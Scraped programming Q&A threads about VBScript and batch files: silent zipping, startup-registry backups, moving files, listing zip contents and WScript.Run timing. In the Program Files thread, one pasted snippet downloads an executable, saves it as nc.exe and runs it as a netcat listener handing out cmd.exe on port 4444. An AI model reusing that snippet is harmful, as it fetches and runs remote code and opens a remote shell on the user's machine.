.VBS called by .BAT to create .zip - run silently (without interface)? - windows

I have a .bat file which I use to back up files, which calls a .vbs and passes it two parameters, as follows:
...
ZipCMD.vbs "C:\Source" "C:\Destination\Data.zip"
...
ZipCMD.vbs contains the following code (Credit to garbb):
Set objArgs = WScript.Arguments
Set FS = CreateObject("Scripting.FileSystemObject")
InputFolder = FS.GetAbsolutePathName(objArgs(0))
ZipFile = FS.GetAbsolutePathName(objArgs(1))
CreateObject("Scripting.FileSystemObject").CreateTextFile(ZipFile, True).Write "PK" & Chr(5) & Chr(6) & String(18, vbNullChar)
Set objShell = CreateObject("Shell.Application")
Set source = objShell.NameSpace(InputFolder).Items
numfolderitems = objShell.NameSpace(InputFolder).Items.count
objShell.NameSpace(ZipFile).CopyHere(source)
' wait until number of items in zip file is the same as in the folder we are zipping up
' also sometimes gets errors when getting folder object for zip file, probably because it is in use? so ignore these
On Error Resume Next
Do while True
numitemsinzip = objShell.NameSpace(ZipFile).Items.count
If Err.Number = 0 and numitemsinzip = numfolderitems Then
Exit Do
ElseIf Err.Number <> 0 then
Err.Clear
End If
wScript.Sleep 10
Loop
On Error Goto 0
When the zipping is occurring, the usual windows 'Compressing files' interface appears, and shows the progress bar ticking along for a few minutes, before closing and disappearing.
Question: Can vbs run a compression silently (i.e. without interface)? -- I've read this article, which shows a flag, however this doesn't appear to work with copying to .zip, for some reason.
Follow-up question: If it's not possible for the .vbs which I'm using to achieve this, then is there an alternative way, which still utilises calling another file/process(?) (.vbs / .js, or other?) and feeding it the two paths from cmd?
Edit: I'm trying to achieve this without the use of third-party software (e.g. 7zip), and simply using native windows code.

Suppose I am almost 3 months late on this, but if you have powershell version 5 or later, you can simply create a powershell script:
Compress-Archive "C:\Source" "C:\Destination\Data.zip"
or from a batch file:
powershell Compress-Archive "C:\Source" "C:\Destination\Data.zip"
Also see this option

Related

File checking on Windows Startup is failing [duplicate]

This question already has answers here:
Getting current directory in VBScript
(9 answers)
Cannot get the current directory in .vbs file [duplicate]
(1 answer)
Closed 2 years ago.
I have this script that allows me to automatically backup my MySQL Database every 5 minutes using a batch file.
Dim WshShell
Dim FSO
Dim stopBackup
stopBackup = false
' Register on Windows Startup if not registered when this file is opened.
RegisterOnWindowsStartUp()
' Keep backing up the database every 5 minutes, loop will do.
Do While True
Set FSO = CreateObject("Scripting.FileSystemObject")
If fso.FileExists("auto_backup.bat") Then ' Check if bat file for backing up the database exist.
MsgBox "Backup Message Test."
' Run the batch file which handle the auto backup of database, keep it invisible.
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "auto_backup.bat" & Chr(34), 0
Set WshShell = Nothing
WScript.Sleep 300000 ' Delay loop every 5 minutes.
Else ' Stop the loop and do not proceed anymore when the bat file is not exist.
WScript.Echo "Failed to auto backup the database, this won't continue anymore."
stopBackup = true
RemoveFromRegistry() ' Unregister this file on Windows Startup since the bat file is no longer exist.
End If
If stopBackup Then ' Break the loop when stopBackup become true
Exit Do ' Break the loop here.
End If
Loop
' Remove this script from registry on Windows Startup
Function RemoveFromRegistry()
Set objShell = Wscript.CreateObject("Wscript.Shell")
objShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\autobackup_key"
End Function
' Register this script on Windows Startup only if not registered.
Function RegisterOnWindowsStartUp()
If IsRegistryExist = False Then
Set WshShell = CreateObject("WScript.Shell")
keyNameLocation = "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\autobackup_key"
valueFileLocation = WScript.ScriptFullName
keyType = "REG_SZ"
WshShell.RegWrite keyNameLocation, valueFileLocation, keyType
Set WshShell = Nothing
End If
End Function
' Check if Registry Key Exist on Windows Startup.
Function IsRegistryExist()
Dim sKey, bFound
skey = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autobackup_key"
with CreateObject("WScript.Shell")
on error resume next ' turn off error trapping
sValue = .regread(sKey) ' read attempt
bFound = (err.number = 0) ' test for success
on error goto 0 ' restore error trapping
end with
If bFound Then
IsRegistryExist = True
Else
IsRegistryExist = False
End If
End Function
The filename of the batch file that allows me to back up the database is auto_backup.bat and it's working fine and no problem, it's on the same directory where the script above is located.
The problem is every time the Windows Startup, it fails to check for the existence of auto_backup.bat, but when I open the script and run it, its working fine and no issue.
There might be some issue with my logic, can anybody help me fix it?
it's on the same directory where the script above is located
This is not where a relative path looks. It starts from the working directory.
The working directory of a shortcut is not necessarily the directory containing the shortcut. You should edit the shortcut properties and set the working directory you want, instead of using the default (which is often C:\Windows or C:\Users\%USERNAME%)
Or you can put an absolute path in the script, or have the script change working directory to its own directory, or have the script combine its directory and the filename to dynamically create an absolute path.
The problem is because when you register your script on Windows Startup through the registry, the script will be executed from the directory of Windows Startup when windows started.
In order to get the original working directory where you can look for the auto_backup.bat, you can combine the FileSystemObject and WScript.ScriptFullName functions to get the parent directory of the current script.
CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName) & "\auto_backup.bat"
Then the IF-ELSE condition inside your loop would be
...
Do While True
Set FSO = CreateObject("Scripting.FileSystemObject")
' (1) Add this code.
autobackup_bat_file = CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName) & "\auto_backup.bat"
If fso.FileExists(autobackup_bat_file) Then ' (2) Change this line.
MsgBox "Backup Message Test."
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & autobackup_bat_file & Chr(34), 0 ' (3) Change this line.
' Continue some of your code here...
...

Move command in VBScript destination is program file (x86) "changed to download to (x86)

Please hold all responses. Just found something.
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
So my many lines of vbs, and strings it will open (or not) along the way currently has a vbs that opens an url to download something with instructions on where to save, and than when done, moves from download folder to programs (x86) but it looks like i found something that will download the file to (x86) for me. I will see what it takes to download to special folder.
I do know my next struggle will be getting the vbs to wait.
In dos
start/wait drive:\path\file.exe
waits for the install to finish before moving on to next task.
Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub
Has me creating many vbs files to run in order, which I haven't tested yet. So I don't know if each one will wait till the program has finished installing or if I need to create a loop to see if the exe is still running.
I do have a "learning vbs" folder with examples to modify to build from. I'm expanding as I learn and testing.
I can't move a file from desktop to program file (X86) due to errors
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
Error mismatch files
And if I remove "" around program files (x86) for destination
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
I get ejected ) error. What am I missing?
EDITING: From response below
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".
Also, your command tries to move the content of the folder "file to move"
MY COMMENT:
No, "file to move" fallowed by 'not sure if I should include extension is the name of the file (i.e myfile.extension) not "folder" file to move. The folder is "desktop"
desktop = sh.SpecialFolders("Desktop")
and
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
thus do i put
source = fso.BuildPath(desktop, "file to move.extension")
I'm not looking for someone to write the code for me. I have tried the %path% thing that works in dos (i.e %userprofile%) in vbs before and got stuck so to see
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
has me scratching my head. Even with the expand command.
Doing some testing. Will edit with update. Sorry for late response. Weekend hobby project thing.
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".

Using VBScript to examine properties of files within a zip file

I'm trying to use VBScript to examine the contents of several hundred .zip files. Essentially what I want to do is run through each .zip and find all of the files wihtin that zip file. For each one of these files within the zip, I want to record some information about it to an Oracle database. That information being: file name and file modified date.
So far, my solution has been extracting each zips folder structure to a temp folder then running through the temp folder with an fso object. However, this has been proven to be very slow.
Is there a way to accoplish this without unziping the zip files?
Ouch man. I have never heard of vbscript zip object. But it has been a long time since I have done vbscript. Is there anyway you can avoid it?
I did some googling for you. I did find this: http://www.example-code.com/vbscript/zip_List.asp Chilkat has done a lot of stuff I thought not possible. This gives me the impression - that what you are trying to do is not going to be painless.
If given the problem you have I would find a different solution than vbscript. But if you pull-it-off I would vote for you to be mayor of vb land
You can do it in place with Shell Objects. But it will be just as slow, maybe. If just name and date Explorer may get it direct from the zip directory (at the end of the file so the whole file still needs to be read).
This copies items in a folder to another folder. A zip file is a folder so it will copy in and copy out.
To Zip
Set objShell = CreateObject("Shell.Application")
Set Ag=Wscript.Arguments
set WshShell = WScript.CreateObject("WScript.Shell")
Set SrcFldr=objShell.NameSpace(Ag(1))
Set DestFldr=objShell.NameSpace(Ag(0))
Set FldrItems=SrcFldr.Items
DestFldr.CopyHere FldrItems, &H214
Msgbox "Finished"
To Unzip (note SrcFolder and DestFolder are reversed)
Set objShell = CreateObject("Shell.Application")
Set Ag=Wscript.Arguments
set WshShell = WScript.CreateObject("WScript.Shell")
Set DestFldr=objShell.NameSpace(Ag(1))
Set SrcFldr=objShell.NameSpace(Ag(0))
Set FldrItems=SrcFldr.Items
DestFldr.CopyHere FldrItems, &H214
Msgbox "Finished"
To Create a blank zip. (I should have used an ADODB binary stream rather than an FSO text stream, but it shouldn't matter)
Set Ag=Wscript.Arguments
Set fso = CreateObject("Scripting.FileSystemObject")
Set ts = fso.OpenTextFile(Ag(0), 8, vbtrue)
BlankZip = "PK" & Chr(5) & Chr(6)
For x = 0 to 17
BlankZip = BlankZip & Chr(0)
Next
ts.Write BlankZip

VBS WScript.Run fails after passing Exists test

In a couple of place in my code I check if the file exists (it does) then I try to Run the file as above, or get the DateLastModified, and get errors about file not found or invalid path. How can the script NOT see a file after confirming it exists?
I'm working up a .vbs script that tries to run an Access .mdb file. The WScript.Run command seems to choke on the filename, but putting a MsgBox() before that call to display the path allows Run to work properly. I don't want to display a popup.
Error is:
The directory name is invalid.
How is this possible and how can I get around it?
Here is code:
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
SET ws = WScript.CreateObject("WScript.Shell")
path = Chr(34) & LocalPath & AccessFileName & Chr(34)
if (fso.FileExists(LocalPath & AccessFileName)) THEN
'MsgBox(path) 'Uncommenting this line removes the error
ws.Run path 'This line errors
End If
Try to open your file with shell .InvokeVerb method:
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
If CreateObject("Scripting.FileSystemObject").FileExists(LocalPath & AccessFileName) Then
CreateObject("Shell.Application").Namespace(LocalPath).ParseName(AccessFileName).InvokeVerb
End If
UPD: Both ActiveX WScript.Shell and Shell.Application uses native windows shell to perform a file execution.The first one launches new process via WSH core located in wscript.exe, cscript.exe, wshom.ocx, jscript.dll, vbscript.dll, ets, .Run and .Exec methods of WsShell object provides wide control on the launched process, and second one located in Shell32.dll, uses .InvokeVerb method of IShellDispatch object, called without name, runs default verb equals to the windows explorer "open" command.In case of any issues connected to WSH, explorer might still works without any proplems. If it does, that is just a work-around, I can't say what's wrong definetely without close look.
Hello the following code worked for me.
Basically this code gets a folder object and loops through all files in a folder and checks if its the one that you named. This it runs the application.
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = Wscript.CreateObject("Wscript.Shell")
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
Set myFolder = fso.GetFolder(LocalPath)
For each myFile in myFolder.Files
If myFile.Name = AccessFileName Then
'Wscript.Echo myFile.Name
ws.Run myFolder.Path & "\" & myFile.Name
End If
Next
You can give this a shot. You probably do not need the quotes around the path, but I included it as a comment if you want to give it a shot. You just put quotes twice if you need to include a quote character in a string:
Set fso = CreateObject("Scripting.FileSystemObject")
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
Set ws = WScript.CreateObject("WScript.Shell")
' path = """" & LocalPath & AccessFileName & """" <-- probably unnecessary
path = LocalPath & AccessFileName
If (fso.FileExists(path)) Then
Set file = fso.GetFile(path)
'MsgBox(path) 'Uncommenting this line removes the error
ws.Run file.Path 'This line errors
End If
This does not make any sense. Having a MsgBox line is altering the behavior of the program!!!
I feel it is probably some weird invisible character somewhere which is getting activated when you comment the line.
Try retyping the If block without the MsgBox in between.

VBScript - no access to text file unless Wscript.Sleep, even though the file is already available

I'm still not too experienced with VBScript, so I probably made some rookie mistakes I just don't see, yet.
What I'm basically trying to do is a workaround for getting the clients license information for MS Office 2013 via a vbscript.
It's dumping the license information from the ospp.vbs file in the Office folder into a txt file.
Here's an abridged part of my script, that shows the problem:
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objShell = Wscript.CreateObject("WScript.Shell")
Dim IsThere
If objFSO.fileExists("C:\Program Files\Microsoft Office\Office15\OSPP.VBS") Then
isThere = True
objShell.Run "cmd /K cscript ""C:\Program Files\Microsoft Office\Office15\OSPP.VBS"" /dstatus > C:\temp\tmpOutput.txt & exit"
ElseIf objFSO.fileExists("C:\Program Files (x86)\Microsoft Office\Office15\OSPP.VBS") Then
isThere = True
objShell.Run "cmd /K cscript ""C:\Program Files (x86)\Microsoft Office\Office15\OSPP.VBS"" /dstatus > C:\temp\tmpOutput.txt & exit"
End If
' wait for ospp.vbs zu finish and create the temporary txt file with license information
Do While Not objFSO.fileExists("C:\temp\tmpOutput.txt")
Wscript.Sleep 10
Loop
If isThere = True AND objFSO.fileExists("C:\temp\tmpOutput.txt") Then
'Wscript.Sleep 4000
Dim listFile
listFile = objFSO.OpenTextFile("C:\temp\tmpOutput.txt").ReadAll
Wscript.Echo listFile
End If
' Delete temporary data file
If objFSO.fileExists("C:\temp\tmpOutput.txt") Then
objFSO.deleteFile "C:\temp\tmpOutput.txt"
End If
Running it like this throws the error Input past end of file (800A003E) for the line:
listFile = objFSO.OpenTextFile("C:\temp\tmpOutput.txt").ReadAll
If I uncomment the Wscript.Sleep 4000, it works fine and shows the expected result.
Why does it throw the error, even though I put in the Do-Loop to wait for the file to actually exist?
The .Run method has a parameter
bWaitOnReturn
Optional. Boolean value indicating whether the script should wait for the program
to finish executing before continuing to the next
statement in your script. If set to true, script execution halts until
the program finishes, and Run returns any error code returned by the
program. If set to false (the default), the Run method returns
immediately after starting the program, automatically returning 0 (not
to be interpreted as an error code).
Use that to make sure that tmpOutput.txt is completely written and closed before the .ReadAll().
Untested speculation: The error "input past end" means that the file exists (that's all what you check for) but has no content yet.

Resources